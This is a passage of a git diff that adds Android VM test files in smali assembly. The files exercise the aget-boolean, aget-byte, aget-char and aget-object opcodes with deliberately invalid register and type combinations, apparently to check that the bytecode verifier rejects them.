+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_8.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZF)Z
+.registers 9
+
+       aget-boolean v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali
new file mode 100644
index 0000000..ed7e03e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_boolean/d/T_aget_boolean_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_boolean_9.java"
+.class  public Ldot/junit/opcodes/aget_boolean/d/T_aget_boolean_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([ZI)Z
+.registers 9
+
+       aget-boolean v0, v7, v9
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali
new file mode 100644
index 0000000..d258990
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_1.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali
new file mode 100644
index 0000000..73eb50e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_2.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1.0
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali
new file mode 100644
index 0000000..705eaba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_3.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       const-wide v1, 1
+       aget-byte v0, v7, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali
new file mode 100644
index 0000000..1e9575a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_4.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali
new file mode 100644
index 0000000..33a437c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_5.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali
new file mode 100644
index 0000000..71df7b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_6.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali
new file mode 100644
index 0000000..17b396f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_7.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali
new file mode 100644
index 0000000..9b5a0a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_8.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BF)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali
new file mode 100644
index 0000000..76a6c6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_9.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v9
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali
new file mode 100644
index 0000000..fc12f74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_1.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali
new file mode 100644
index 0000000..a6e8855
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_2.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CD)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali
new file mode 100644
index 0000000..23fb572
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_3.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CJ)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali
new file mode 100644
index 0000000..2fd0f6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_4.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali
new file mode 100644
index 0000000..1aac2e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_5.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali
new file mode 100644
index 0000000..19e7604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_6.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali
new file mode 100644
index 0000000..4e17d83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_7.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v6
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali
new file mode 100644
index 0000000..70c3e55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_8.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CF)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali
new file mode 100644
index 0000000..1f80eac
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_9.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_9.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v9
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali
new file mode 100644
index 0000000..ac8a16a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_1.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali
new file mode 100644
index 0000000..169488b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_2.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1.0
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali
new file mode 100644
index 0000000..2e046e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_3.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([Ljava/lang/String;I)Ljava/lang/String;
+.registers 9
+
+       const-wide v1, 1
+       aget-object v0, v7, v1
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali
new file mode 100644
index 0000000..a170ce5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_4.java"
+.class  public Ldot/junit/opcodes/aget_object/d/T_aget_object_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)Ljava/lang/String;
+.registers 9
+
+       aget-object v0, v7, v8
+       return-object v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali
new file mode 100644
index 0000000..bad8f36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_object/d/T_aget_object_5.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_object_5.java"
